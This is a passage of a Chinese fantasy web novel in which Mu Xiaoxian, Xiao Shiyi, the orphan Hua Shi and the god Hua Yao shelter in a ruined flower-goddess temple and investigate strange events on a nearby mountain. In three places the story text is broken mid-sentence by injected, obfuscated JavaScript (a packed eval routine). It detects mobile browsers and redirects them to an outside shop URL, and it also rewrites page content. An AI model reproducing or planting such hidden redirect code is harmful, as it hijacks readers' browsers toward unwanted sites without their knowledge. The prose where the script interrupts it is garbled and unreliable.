慕小闲从麻袋间隙往外瞅,小声问:“他们能看见我们不?” 小十一眼睛密切关注着外面:“不,我使了个障眼法,他们看不见的。” “我明明看见他们来这儿了......”伙计站在街边扯下肩上的毛巾擦了擦汗,一脸气愤地在街角咒骂:“哪里来的穷光蛋!连碗小混沌都吃不起!别让我再看见你们!” 两人一个哆嗦,缩回角落里。 慕小闲颤抖地问:“你怎么出门不带钱啊?” 小十一辩驳道:“我从来不用自己给钱。你为什么也没有钱?” 慕小闲嗤笑一声:“你用脚指头想一想也知道,我怎么可能有钱?” 昏暗中,两人陷入沉默,为什么他们会默认对方有钱? 牛车晃晃悠悠地从集市中驶出,从泥地转而进入凹凸不平的小道,渐渐远离了闹市喧嚣。人烟渐消,道旁出现了大片的绿地与稻田。慕小闲颠簸得头晕目眩,从麻袋缝隙往外瞅了瞅,好像驶入了偏僻的田野。 她拉着小十一从车上跳下来,赶牛车的老伯听到声音回头看了他们一眼,嚷嚷着:“哪里来的小娃娃,赶紧回家!小心被山大王抓走吃了!” 两人面面相觑,抬腿往回走,就听见身后老伯纳闷道:“诶,我怎么好像没见过你们?是哪家的小孩?”两人后背一僵,没有回头,不动声色地加快脚步,竞走一般瞬间疾行几百米。 烈日当头,日色晃眼,两人气喘吁吁地跑进乡间一间阴凉的小屋。跨进门槛,一股阴冷的霉气从里面挤出来。 慕小闲捂着鼻子皱了皱眉,四下一看,屋里很宽敞,但柱子与房梁上却落满了灰尘与蜘蛛网。地上有几只模糊的脚印,应该曾经有人来过,又许久没人再来。 面前摆放着一尊石像,雕刻着一位表情柔和的女子。她身穿仙气飘飘的霓裳,手里捧着一束娇艳欲滴的鲜花。因许久没有擦拭,石像蒙上了一层厚厚的灰色,女子的神色好似也变得暗淡。在她的脚边,案台上供着两个空空如也的漆红色木钵,周遭散落着几搓发白的香灰。 小十一打了个喷嚏,捂着鼻子说:“这是什么鬼地方?” 慕小闲瞥见角落有两个脏兮兮的跪垫:“好像是供奉的神庙。” 小十一皱了眉头:“供奉什么?”他抬头疑惑地看着那尊石像,想不起来九天之上哪位神佛是这副长相:“这是哪位?” “嘘”门外传来细碎的脚步声,慕小闲赶紧拉着小十一躲去了石像后面,两眼留意着外面的动静,一扭头对上了黑暗中一双亮晶晶的眼睛...... 小十一倒吸一口冷气,慕小闲一把捂住了他的嘴巴。 为什么这里还有人? 是刚才他们进来时躲在后面的? 然后他们又躲了进来? 这不是巧了吗...... 屋里传来脚步声,有人进来了。 这间闲置的小庙现在至少挤了四个人。 石像另一边传来拖拽声,一个扑通...... “花神娘娘,今天没能给您准备吃的,希望您不要怪我。”是个略带稚气的男声。 “我好几天没吃东西了,看在我虔诚祭拜您多年的份上,您能赐我一笼村头阿发家的白面馒头吗?如果能再加一个顶顶香的猪肉大包就更好了。”随之而来的是一连串震天动地的咕噜声。 他吞了吞口水说:“我还想吃真真姐的麻团、老李头家的米酒、飘香楼的红烧狮子头、水晶凤爪、芋头烧鸭......听说这些可好吃了,我从来没吃过。” 慕小闲捂着小十一的手不自觉地加重。 他为什么跑来这里报菜名?说得她都有些饿了。虽然她的修为已经不需要经常吃东西,但也经不起这么诱惑。 小十一觉得自己的脸要被捏变形了,伸手去挠慕小闲的手背,慕小闲很嫌弃地放开他甩了甩手。 那双亮晶晶的眼睛躲得远远的,在黑暗中一眨不眨地盯着两人。 半晌,听见前来跪拜的人走远了,慕小闲和小十一从石像后走出来,看向身后跟着的人。 他从石像后的阴影中走出来,个子不高,看上去十几岁的样子,眼睛清亮,五官端正,脸上胡乱蹭了些灰褐色的污迹。他穿着灰绿拼接的麻布衣,几根碎布条缠绕在手腕上,一头清爽的褐色短发中,独留着一缕细长的辫发垂在胸前。 他神色复杂地瞥了石像一眼,朝石像前的跪垫翻了个白眼,嘀咕道:“花神都没东西吃,还能给你?” 慕小闲闻言笑了一声,他转过头没好气地问:“你笑什么?” 慕小闲摇摇头:“没什么。小兄弟,你为什么躲在这里?” 他微皱了眉,不爽地问:“谁躲了? “我住这里!”他大声嚷嚷道,眼神上下打量了慕小闲与小十一一圈儿:“倒是你们这些外地人......两手空空跑来小庙,不祭奠也不跪拜,来干什么的?” 说他们出门忘带钱被追出了二里地,在外快被太阳晒化了所以进来躲躲?那是不可能的。 慕小闲用诚恳且真挚的眼神望着他说:“说来话长,我们二人出门遇上打劫又迷了路,不知道怎么就转悠到这儿了。” 男孩抱起双臂挑眉,眼中闪过一丝彪悍的光:“打劫? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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花莳顿了一下,语气变得有些生硬,带着讽刺的意味说:“因为他们发现所谓的花神并不能庇护他们。一旦神明没有按照他们的意愿就立刻弃之如敝履,这不就是人心。” 慕小闲听出了些东西:“这里发生过什么事吗?” 花莳侧过头横了她一眼,语气不善:“关你什么事?” 你不应该叫花莳你应该叫花椒。慕小闲一哽,舌头都有些迟钝了。 小十一被气得瞪大了眼睛,寻思怎么教训一下这个讨厌的人,被慕小闲一把拉开了。 他回头莫名其妙地看了慕小闲一眼:平时你不是最喜欢怼人吗?现在装什么善良? 慕小闲警告地瞪了他一眼:不能轻举妄动! “嗤。”花莳翘着二郎腿躺在地上嚷嚷:“没事快点滚!别打扰我休息!” 慕小闲脸色一变就要冲上去揍人,被小十一抓着胳膊往另一边拖,眼神示意道:不是你说不能轻举妄动吗? 屋外天色突变,大风将神庙破旧的木门吹得嘎吱作响。 慕小闲望着屋外的郊野与远处村庄点起的幽光,喃喃:“今天可能要在这里过夜了。”小十一“啊?”了一声,嫌弃地四周看了一圈。 花莳脸色越来越不好看,多看了他们几眼,似乎在酝酿着将他们赶走。 慕小闲赶紧说:“我们出门在外无依无靠、身无分文,你赶我们出去,就是要我们露宿街头。晚上在外面多危险啊,如果我们发生意外你的良心不会痛吗?” 花莳撇撇嘴,满不在乎地说:“你们发生意外关我什么事?就因为你们和我说了几句话,我就要对你们负责?” 慕小闲就地坐下,挑了下眉:“既然这样,那我们留在这里也不关你的事了。” 花莳嘴上吃了亏,不爽地说:“随便你。”然后用眼神警告道:“这边是我的地盘,千万别过来!” 慕小闲与小十一被迫缩在墙角,两人无语地对视一眼,转头看着花莳前四仰八叉地躺在石像前。 天色阴沉,月亮隐在浓云之后。田间静悄悄的,远处传来打更的声音。 小十一躺在冰凉的地上翻来覆去睡不着。 不远处侧躺的慕小闲闭着眼睛,睡梦中嘴巴动了动,发出微弱的呢喃。 她在说梦话吗?小十一好奇地探出头,侧耳细听,细微的声音飘进他的耳朵:“阿发家白面馒头、顶顶香猪肉大包、真真姐麻团、老李头米酒、飘香楼红烧狮子头、水晶凤爪、芋头烧鸭......” 小十一:??? 他“刷”地坐起身,生气地摇了摇慕小闲,在她耳边压着声音道:“大半夜你发什么疯?” 慕小闲微微睁开眼睛,皱着眉头将他的手推开,嘟囔道:“你懂什么?这是本地人的美食攻略。” 54. 第 54 章 夜风凄凄,凌冽如刀插入门上的缝隙。神庙破旧的木门松松垮垮的挂在门框上,簌簌风声从堂前穿过,将供台上残留的一点香灰吹落一地。 昏暗中慕小闲睁开眼睛瞄了一眼不远处的小十一,眼珠又灵活地滑向石像另一侧的花莳。他枕着跪垫紧抱双臂,窝在神庙后方的角落,身影在黑暗中有些看不真切。 她缓缓起身,极为小心地飘出角落,回头看了一眼身后,确认无人察觉后推门而出。 大片夜色下旷野空寂辽阔,衣摆在呼呼的寒风下飘动。 她回头眺望神庙的屋顶,一袭融于夜色的黑金伫立在上方。 他比夜色更加幽深,宽大的黑色披风像一面飘扬的旗帜。 黑金色身影突然纵身一跃,矫健地向村庄隐去。慕小闲旋即跟了上去,暗淡的月色下两个灵活的身影一前一后在几间屋檐上跃过,跳进了一个隐蔽的小巷。 黑色在她眼前翻飞,她一把扯下面前的披风笑道:“你以为打扮成这样我就认不出来了?” 眼前人穿着黑底金丝的紧身长袍,头发束起,剑眉星目一如往昔。他面不改色地回看慕小闲,明明没有多余的表情,她却在他深邃的眼睛里感觉到了一点点欢愉。 “好久不见。华尧。” 华尧望着她,熟悉又陌生的声音传来:“好久不见。” 慕小闲上下打量,随手将他的披风揉成一团丢回给他:“你怎么在这里?” 华尧走近了半步:“在附近做任务,感觉这里有不寻常的气息,所以过来看看。” 慕小闲在他的眼神下莫名有些紧张:“哦,哪里不寻常?” 华尧轻哼一声:“你就很不寻常。” 这是在夸她还是骂她?慕小闲茫然道:“我哪里不寻常? 华尧双起抱臂,轻轻扯了下嘴角:“白天你闹出这么大的动静,想不知道都难。” 他看到她和小十一出糗了?慕小闲眼底流露出一丝尴尬:“哈哈小十一平日里养尊处优惯了,我是想带他体验生活,让他感受一下社会的毒打。不过枉我们一场交情,你看到了怎么也不来帮帮我?” “你们离开后,我替你们付过了。”华尧说。 慕小闲立马转变态度:“不愧是华尧上神,你还挺够意思的。” 阴沉的夜,小巷里有些烦闷。慕小闲侧身从里侧走出来,走在乡间幽暗的小道上问:“你来青丘是做什么任务?” 树影下,华尧与她并排走在一起:“已经完成了。” 慕小闲低头踢了一脚道旁的碎石子:“真的?” 天庭的任务他要保密也是自然,慕小闲也懒得刨根问底。 华尧微微点了下头,侧身对她说:“我和天帝澄清过了,春桃宴发生的事情与你无关。 “你的那个朋友......” 慕小闲抬眼看向华尧,见他顿了一下说:“武凌。” 许久没听过武凌的消息,慕小闲有种恍若隔世之感,语气略带焦急地问:“他怎么样了?” “他服刑期将满,天帝免去了责罚。看在他曾是老君的徒弟,根骨不错,现在跟着符鸣修行。”华尧解释道。 “符鸣?”慕小闲才松了一口气,一想起这位上神心里的气又不打一处来。 华尧:“那个孩子好像很喜欢他。” 武凌确实说过他很崇拜符鸣。 “为什么呀?”慕小闲愤愤地说:“天庭丰神俊朗的神官那么多,如果武凌说喜欢你我都能理解,为什么他会喜欢符鸣?” 华尧眼眸忽的一黯,幽幽问道:“理解什么?” “喜欢你啊。”慕小闲想也没想脱口而出,华尧如黑曜石般深邃的眼眸蓦然闪过亮色。 慕小闲停下脚步,抬眉道:“你是故意的?” 华尧“咳咳”两声,似乎想掩饰唇角隐隐泛起的笑意,抱起双臂睨了她一眼:“丰神俊朗。原来你是这样看我的。” 慕小闲哼哼道:“我只是打个比方。符鸣在天庭是不是混得比你好?人家都有追随者呢。” “我也有。” “哦对,我怎么忘了,你还有好多芳心暗许的小仙女呢。” 华尧没有理会她的调侃,凝眉走出几步,夜色中高大的身影缓缓转过身:“符鸣曾是天庭的散仙。” 微风抚过,镶着金色图腾的衣摆微动,他乌黑的发丝轻扬,语气转而有些沉重:“天庭的下等散仙,没有仙级仙阶,经常受其他仙人排挤,也常常仗着人多聚众闹事。符鸣他虽然出身不好,但是靠自己一步一步爬到现在这个位子的,其中的忍耐与艰辛不是常人能想象的。 “在成为上神的路上,有的神官为天庭作出了牺牲,有的坚持不住放弃,有的误入歧途。几万年来,他是唯一一个从散仙晋升为上神的。” 符鸣的励志进阶事迹慕小闲有所耳闻,饶是听了几次,也没有改变在春桃宴她对符鸣留下的印象。 “可是我依旧不喜欢他。春桃宴那天就算他不是故意污蔑我,我也因此吃了好些苦头。就事论事,这和他的过往没有关系。” 华尧对此不置可否。 慕小闲的眼珠一转,忽然说:“你是不是知道那天是谁下的毒?” 华尧脸色微变,举起拳头放在嘴边咳了一声。 慕小闲眯着眼看他:“我说你怎么这么好心带我去参加春桃宴,其实你是故意借他人之手报复我吧?作为上神居然和一个小姑娘过不去!啧啧啧,居心叵测,其心可诛!” 咦,细思极恐。 华尧停下脚步澄清道:“我并非有意。你后来去了哪里?发生了什么事?” 慕小闲继续向前走着,冷笑一声,语气不善地说道:“你应该知道北溟海极是什么样的地方。我一个手无缚鸡之力的弱女子被关进去,简直是死里逃生。如果不是......不是我机智,我现在都重新轮回四五次了。你去哪儿找我月下幽会、夜半闲话?” 华尧在听到“手无缚鸡之力”时不自觉地笑了一声,慕小闲愤愤地瞥了他一眼,怎么?她不能是弱女子吗? 她不知道华尧与凤钰究竟有何纠葛,也不明白当日两人到底作何打算,但无论他们想做什么都不应该将毫不知情的她牵扯进去,送她一份如此惊悚的大礼。 “我说错了吗?事过之后这是我们第二次见面,你有没有反省?”慕小闲咬着嘴唇,撇过头,向神庙的方向走去。 天边出现了一缕晨光,郊野传来高昂的啼鸣。 华尧身形一晃,拦在她面前,借着晨曦仔细地描绘着她的面容,她变得娇俏许多,但他却忍不住怀念初见时她的模样。他微微叹了口气,眸光异常坚定:“我确实不该让你陷入危险,但那不是我的本意。如若你心里不满,可以向我提任何要求。” 慕小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13137718|138428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 闲心里一动,事情过去这么久已无挽回的可能,她等的不就是他这句话吗?但面上不为所动,仿佛华尧的承诺毫不值钱。 慕小闲故作委屈地哼哼道:“真的?什么要求都可以? “嗯。”华尧心里升起一种不好的预感。 慕小闲绷不住变了脸,笑意从眼角溢出,嘴角的弧度越来越大。 “那就先给我当一天仙侍吧。” 。 晨光斜斜映入花神庙,小十一睡得晕晕乎乎,揉了揉眼睛坐起来,一时无法接受自己身处的环境。 木门被轻轻推开,门外的亮光一股脑填满了堂前,照亮了通往石像的路。石像许久未见充裕的阳光,门外吹进一阵清风,似乎带走了花神脸上的阴霾,手中盛开的花也渐渐苏醒。 小十一抬头一看,那种自己一定是在做梦的不真实感更加强烈了。 为什么他一大早见到了华尧上神? 为什么华尧上神跟在慕小闲身后? 慕小闲看到他被雷劈的表情后,忍不住轻笑一声,问:“起来了?” 小十一呆呆地点点头,刚要出声,突然被打断。 “啊!吵死了!”炸雷一般的声音在神庙回荡,随之砸来了一个破旧的跪垫,落在他们面前。 华尧早就发现神庙里不止一人,他沉着脸向石像后望去,一个不修边幅的瘦弱身影向墙边蜷着身体。身上裹着斑斓的破布,鞋被胡乱踢在不远处。 他翻身坐起,虽然刚睡醒,但眼神看上去十分清明,几乎在抬眼的一瞬间就与华尧对视上了。 华尧站在晨光中,身体刚硬的线条有些模糊,但散发着一种与生俱来的威严,让花莳的眼里闪过一丝畏惧。 小十一站起身,向他们走来:“准姑父,你怎么在这里?” 姑父?虽然慕小闲她们穿着朴素,但华尧这一身却能看出价值不菲。花莳眼里闪过一丝精光,继而愤愤地说:“带着你的亲戚快点离开这里。” 华尧蹙起眉头,眼里流露出不悦。 慕小闲担心华尧的脾气上来,赶紧抢先说:“这神庙是你开的吗?同是天涯沦落人,谁也别瞧不起谁。” 花莳愤愤地别过头。 慕小闲转头兴奋地对小十一说:“今天没有什么姑父,他现在是我的......” “咳咳”华尧打断她,生怕她口不择言。 慕小闲用奚落的目光看了华尧一眼,了然道:“总之,我们这段时间的食宿他全包了!走,我们去村里大吃一顿,我都想好了!” 小十一不明所以地看了看华尧,“哦”了一声,跟着抬脚向外走去。突然感觉身后投来一森冷的视线,他怔怔地回头一看,花莳坐在神庙里与阴影融为一体。 小十一心里咯噔一下,突然想起来从昨晚到现在花莳好像滴水未进,他又没有仙力护体,怎么耐得住饥渴。 “喂,慕小闲......”小十一匆匆追了几步叫住她,犹犹豫豫问道:“要不要带上花莳?” 慕小闲眉头上挑,没好气地嚷嚷道:“他看不上我们,就算我们有钱,人家还嫌少呢。”说完,她转身欲走,脚下刚一抬,忽然脑海中闪过一种空灵之感,恍恍惚惚与身后微弱的气息遥相呼应。 她疑惑地回过头向屋内眺望,越过将开未开的木门,昏暗处刚才还精神抖擞没个好脸色的人,现在倒在石像前一动不动。 55. 第 55 章 清晨早市,早点摊扑腾着热乎乎的香气,像一双看不见的手撩拨着几米开外行人的嗅觉。摊后几张木桌板凳,耳边响起“呼哧呼哧”的吞咽声,鼻尖缠绕着蛋肉葱花的香气。 慕小闲与小十一目瞪口呆地看着眼前高高摞起的白瓷碗,对面褐色头发都快钻进碗里,几筷子一挑,瓷汤勺叮叮当当几下,又一只干干净净的碗被推了出来。 “还有吗?”花莳舔了舔嘴巴。 慕小闲偏过身,越过桌子看向他的肚子,居然一点不见鼓起来:“呃......不如吃点别的......” 邻桌的人看的啧啧称奇,面摊的伙计在一旁手忙脚乱、大汗淋漓地杆着面,看到他们终于吃完了,长吁一口气:“小兄弟不得了,把我们准备一天要卖的面全部吃完了,我还得加紧做,不然今天街坊来了吃不着。” 慕小闲将一袋子仙币留在桌上,走向远处槐树下等候的华尧。身后传来摊内的喧嚣:“老板快一点!等了好久!” “哟呵这谁吃了这么多?老板今天赚大发了。” “来咯!热腾腾的面!” 待慕小闲走得近了,脸色一挎,道:“没想到他这么能吃。” 华尧远远地瞥了花莳一眼:“是你要带上他的。” “可是他看起来那么瘦。” 慕小闲回过头,看到花莳还停在路边,侧着头不知在看什么。 “他在干什么?”慕小闲问小十一。 小十一摇摇头:“谁知道,可能又看到什么吃的了吧。” 他们顺着花莳的目光看过去,一个比花莳看上去更加窘迫的小男孩抱着双腿坐在路边,脏兮兮的小脸上一双晶莹的大眼睛,看着匆匆路过的行人。他身上裹着看不出颜色的麻衣,打着几层补丁,身侧靠着一位老人,头发花白,阖着双目,单薄的身体微微发抖。 “阿磊......”老人嘴巴喏动。 “阿磊......” 阿磊侧过头,眼里划过神伤,轻声说:“婆婆,振作点!” 花莳神色复杂,向慕小闲她们走来:“喂,还有钱吗?” 慕小闲无语:“你还没吃饱?我们家底都被你吃干净了。” 花莳沉着脸:“还有吗?” 慕小闲掏了掏口袋,抖出里面仅剩的几枚仙币:“最后一点,再也没有了。” 花莳小跑走开,不一会儿拎着个纸袋袋跑回来,走到阿磊身旁,表情僵硬地递给他。 阿磊茫然地在花莳身上看了一圈,接着布袋往里一看,惊讶地抬起头:“公子你这是?”他舔了舔嘴巴,心里一喜,转念又觉得花莳看上去没比自己好多少,吞了下口水,扎紧袋子递回去:“公子,看你也不富裕,你还是自己留着吧。” 花莳脸上一白,表情有些不自然,冲他大声吼道:“给了你就拿着!” 阿磊被吓得一哆嗦,收回手点了点头。 花莳头也不回地走开了。 远处阿磊侧头欣喜地对老人说:“婆婆你看!有馒头吃了!” “是白面馒头!啊!一定是花神显灵了!” 花莳将小辫子甩到身后,走向慕小闲她们,表情别扭地说:“走了。” 慕小闲意味深长地看了他一眼,与众人一同离开早市,走到人烟稀少的小道说:“你都把我们吃穷了,态度还是这么恶劣。” 花莳冲她翻了个白眼:“你什么意思?我又没有求你救我。” 慕小闲眼里闪过一丝狡黠,抿了抿嘴:“但我们救了你是事实,也不能无缘无故让你白吃。我刚才听到隔壁桌说,村子这几个月发生了一些古怪的事?” 花莳一怔,眨了眨眼:“哦,是吗?我连饭都吃不饱,怎么知道这些有的没的?” 不对。慕小闲眯了眯眼:“我们素不相识,在你饿晕的危急关头救了你,如果你还要刻意隐瞒就说不过去了。” 花莳眼神复杂地咬了咬嘴唇,眼珠在几人身上扫了一圈:“原来你是想套我的话。我说你怎么这么好心......” 慕小闲轻哼一声,吓唬道:“如果你不说,我只好告诉阿磊你偷了我们的钱,让他把馒头还给我。” 花莳眼里闪过一丝怒意,咬了咬牙:“果然人心没一个好的,真是瞎了我的眼。”慕小闲作势要去搂他的肩膀,被他躲开,恶狠狠地瞪了一眼:“我可以说,但你们不能告诉别人是我说的。” 众人回到花神小庙,大门半阖着,屋里空空如也。 花莳一回来就熟练地占据了跪垫,抬眼瞥了一眼花神石像,缓缓说:“村子旁边那座山叫花神山,就是当年花神报恩那个传说的发生地,曾经大家都认为那座山是花神的家。 “过去数百年,花神村的村民与这座大山和谐共处,生活平稳安逸,人们都觉得是花神暗中保护着他们,于是建了这座小庙。他们从山上搬来了最好的石头,花了很长时间精细打磨抛光,为花神塑造了一尊完美的形象。起初,风调雨顺,香火鼎盛,供品是上好的瓜果,几乎日日更换。” 慕小闲听得入神,仔细看那石像,她随风轻扬的衣摆与发丝,确实经历了精雕细琢。脸上柔和的眼神与笑意,不难想象制作者如何用心打造。发生了什么,让当年的盛景变成了今日的萧条。 故事进行到这里,无法避免地急转而下。花莳微微叹了口气,望着石像接着说道:“三百年前的某一夜,村里突然出现了一只身形高大的怪物.....他趁着夜深人静闯入村子,伤害了许多人,村子伤亡惨重,后来被天神降服。那一夜有许多村民看见这个怪物是从花神山上下来的,从那以后,村民们开始怀疑花神是否真的存在,为什么这一次花神没有庇护他们,或者那个怪物就是他们敬仰的花神。渐渐地,人们不再来神庙祭拜,对这座花神也充满了畏惧。” 这间神庙衰败的原因竟是这样。 “后来又发生了什么怪事?”慕小闲问。 花莳转头看向他们,神情恢复平淡:“自那以后,村民很少再上山,提起这座山大家都诚惶诚恐,也有不少人想迁出了花神村。 “前阵子,村里有个孩子偷跑上山玩儿,几日后才找回来。像受到了巨大的惊吓,整个人木讷的都不会说话了,人也不认得。他家里人请了外面的仙人做法,说是撞邪,清醒后大哭一场,问他见到了什么,竟然不记得了。之后他便一直没出过门,村里人问他家老人也支支吾吾。 “这段时间,夜里山上有时会传来呜呜的声音。村里有些喜欢臆想的人开始说,山上又出现怪物了。这些天太阳一落,家家户户都缩在屋里不敢出来。” 小十一疑惑地看着华尧问:“撞邪?天界怎么可能有邪祟?” 慕小闲暗道:曾几何时,我也以为土地公公只能扎根于土壤。 华尧沉思片刻:“不大可能。凡间的邪祟由冥府统一收治,就算真的有疏漏,邪祟上天这种事情也闻所未闻。” 慕小闲暗道:曾几何时,我也以为凡人升天是不可能的。 “出事后,有人上山查看过吗?”华尧问。 花莳想了想,不太确定地说:“好像有一户壮汉白天上过山,但是什么也没发现,傍晚就回来了。没人敢在山里头过夜。” 慕小闲与小十一对望一眼:看来问题的关键就在山里。 小十一:去看看呗。 华尧将他们的神色收入眼底。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13137719|138428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 慕小闲问华尧:“我们打算进山看看,你要不要一起?” 没等华尧回答,花莳突然瞪大眼睛说:“进山?你疯了?” 慕小闲:“你不想知道山里到底有什么吗?” 花莳僵硬地摇了摇头:“要去你们去,我绝对不会去的。” 花莳对此地较为熟悉,若是愿意一同上山,或许能帮得上忙。但他不愿,慕小闲也不强迫。 花莳看着他们走出小庙,不自觉跟出几步,站在斜阳中似乎欲言又止。 山路崎岖,蜿蜒而上。 华尧的祥云从天上缓缓飘落,慕小闲驾轻就熟地跳上去,这一次祥云没有排斥她。华尧站在她身侧,揣摩道:“原来你们是为了这件事。” 慕小闲不假思索答道:“非也,我也不明白我来做什么的,也许就是凑个热闹。” 小十一不安地看了晏离一眼,乖乖地叫了声:“准姑父,是我硬要来的,你能别告诉姑姑吗?” 华尧冷言道:“我不是你姑父。” 小十一傻眼,怎么这么严重? 华尧略微迟疑了一下,解释道:“我与你姑姑决定解除婚约。” 慕小闲虽然有过凤钰的提点,但听到华尧亲口承认还是吃了一惊:“什么时候的事情?” “还未公开,不过是迟早的事。” 这对小十一来说犹如晴天霹雳,他那声名赫赫的姑父转眼就是毫无干系的陌生天神。他微张着嘴,半天说不出话。半晌,小十一瘪着嘴,沮丧地问:“这是为什么啊?” 慕小闲一本正经地对小十一说:“成年人的爱情就是这么经不起考验。” 不过她也没明白为什么华尧突然解除婚约。难道他发现了苏怜漪与白瑶的关系?可苏怜漪那厮与白瑶的关系几乎等于没关系,难不成他们之间有新的进展?慕小闲顿时觉得华尧有些可怜,看他的眼神多了几分同情。 祥云载着三人在林间穿行,山里很静,流淌而过的水声格外明显。山坳里有一座飞瀑,悬挂在高高的悬崖边上,气势汹涌地灌入湖中。 水雾像绽开的花朵一般,在阳光下变换色彩,洒下一道霓虹。湖边点缀着浓郁的萱草,满目金黄,生机勃勃。 三人落在湖边,被大自然优雅闲适的氛围包裹着。阳光与水汽蔓延上慕小闲的脸颊,冰凉与暖意交错,舒服极了。 “不对劲。”华尧突兀的声音闯进来。 慕小闲睁开眼睛:“哪里不对?” 小十一困惑地扫视一周,目光落回他姑父......不,华尧上神的脸上。 “我们一路没有见到任何动物。” 他们乘祥云而上,一路看了遍地花花草草,但却没有见到其他生灵。周围的安静变得有些诡异,三人全神贯注地感知着,试图感应到动物的气息。 难道真的有怪物? 慕小闲看着小十一与华尧,僵直着脖颈摇了摇头。 华尧抬眉道:“怕了?怕就回去。” 慕小闲摆摆手:“我才不怕!谁吓谁还不一定呢。” 华尧抱起双臂轻呵一声:“也对,你也是个小怪物。”与他平日里生硬的语气截然不同,低沉中夹杂着一丝说不清的意味,让慕小闲不由多看他几眼。 华尧不自然地避开她的目光:“看我作甚?我说的不对?” 慕小闲收回目光,哼哼道:“没错,我就个怪物。华尧上神能拿我怎么样?” 华尧甩袖道:“幼稚!” 也不知道幼稚的是谁。慕小闲不与他继续争辩,转而带不明所以的小十一往林中走去:“看来只能等夜里了。” 留下华尧一人暗暗懊悔。 56. 第 56 章 没有飞禽走兽的山林,夜里空寂得如同墓地。 三人安静地蹲守在一片漆黑的草丛里,慕小闲捧着脸幽幽打了个哈欠,甩了甩头企图振作起来,但眼皮还是止不住打颤。她换了一个姿势,瞥见黑暗中华尧的眼睛依旧十分清明且警惕地观望着周围的情况,深吸一口气打起精神问:“华尧,你这次来青丘是做什么任务?” 小十一眼珠一转,眼里多了许多探究和抵触,一改早先对华尧的恭敬,没好气地说:“华尧上神来青丘做任务?我姑姑知道这件事吗?”此时华尧已和他断绝关系,小十一对他产生了强烈的距离感,立马发觉这件事不对劲。 天庭与青丘多年来互不干涉,他做任务来青丘干什么? 华尧自然不会在意小十一突然的敌意,而是对慕小闲说:“虽然天庭不能干涉青丘内务,但如果青丘出现了影响天庭利益的事情,天庭必然会追究。” 小十一一怔,只觉得代表天庭的华尧上神话里有话,故意在这儿诽谤青丘,警觉道:“你倒是说说,青丘发生什么了,需要天庭神官来解决?” 华尧含糊道:“这附近有异动,我路过顺便来看看。” 小十一蹙起眉头,本来对华尧无故退婚就有怨气,现在一股脑发泄出来:“青丘是你随随便便想来就来的?华尧上神也太不将青丘放在眼里了。” 华尧不与孩子置气,反而轻笑一声:“我为什么不能来?” 小十一一哽,呵,你以什么身份来青丘?天庭的神官?青丘关你什么事? 两人争辩的声音在夜晚寂静的山野中显得尤为刺耳,好似整座山林为了衬托他们而缄默不语。 慕小闲“嘘”了一声,小声打断他们:“华尧路过花神村看到我们遇到了麻烦,留下顺手帮我们查清楚这里的事情,也不算出格。你有什么私人恩怨,等事情解决了再说。” 小十一瞪了慕小闲一眼,心里郁闷的感觉更甚,看慕小闲也觉得碍眼起来:“你现在是青丘的人!你懂什么?”他站起来向远处走了几步,背对着他们坐下,眼不见心不烦。 慕小闲无语,看来不论是谁提出解除婚约,白家对华尧的偏见都少不了。 慕小闲向华尧坐近了点,小声问:“可以问你一个私人问题吗?” 华尧不动声色地看了她一眼,觉得她没有选择去哄小十一而是向自己靠近的动作莫名顺眼。 “你为什么要与白瑶退婚?当初不是你上门求亲的吗?” 华尧眼里有些晦涩:“上次在春桃宴再遇,我感觉她变了。这件事或许从一开始就不对。” 慕小闲敛眉在华尧脸上打量一圈,见他神色坦然,不像有假。她还以为是苏怜漪暴露了,原来是华尧自己“幡然醒悟”。 “男人说对方变了多半是借口,就是时间一久不喜欢了呗。”慕小闲眼里露出揶揄之色,轻轻舒了一口气,感叹道:“一千年未见都没有退婚,突然说不喜欢,大概率是看上新的猎物了。华尧上神在情事上也不能免俗啊。” 华尧眼神幽幽转冷,轻哼一声,带着点讽刺的意味道:“这种时候你倒是聪明。” 慕小闲哪里想得明白感情中的复杂曲折,只是半夜在山里蹲得无聊,故意拿话刺激他。没想到他会承认,反而沉下肩神情一愣:“我猜对了?你怎么......”怎么是这种人? 华尧眼里闪过怒意,声调上扬,忿忿地说:“很好。你就是这么看我的?”而后愤然起身,甩袖向小十一的方向走去。 慕小闲:?不是你自己说的吗?唉,又得罪一个,男孩子的心思真难猜。 月挂中天,寒气渐浓,四周越发幽黑。 两个男人背对着她,一个坐在草地上,一个半倚在树干上,皆不知在生什么闷气。慕小闲抱紧双膝坐在草丛中,缩着脖子打了一个寒噤,突然觉得山里的风好冷啊。 慕小闲战战兢兢地环视四周,黑暗像是浓雾从四面八方朝她涌来,她忍不住站起身向他们走去。未走几步,就听到身侧遥远的地方传来一串刺耳的声音。她侧头回望,那尖锐的声音让她浑身不舒服,顿时起了一身鸡皮疙瘩。 谁大半夜吹笛子,还吹得这么难听?简直是深夜扰民。 奇怪的是,背对着她的两个人并没有动静。慕小闲疑惑地上前几步,冲着他们的背影问道:“你们听到什么声音了吗?” 华尧正身回望她:“你听到什么了?” 小十一茫然地回过头。 慕小闲神情微滞了一下,耳骨传来一丝细碎的刺痛感,她蹙起眉回忆道:“好像是空气产生的摩擦声。” 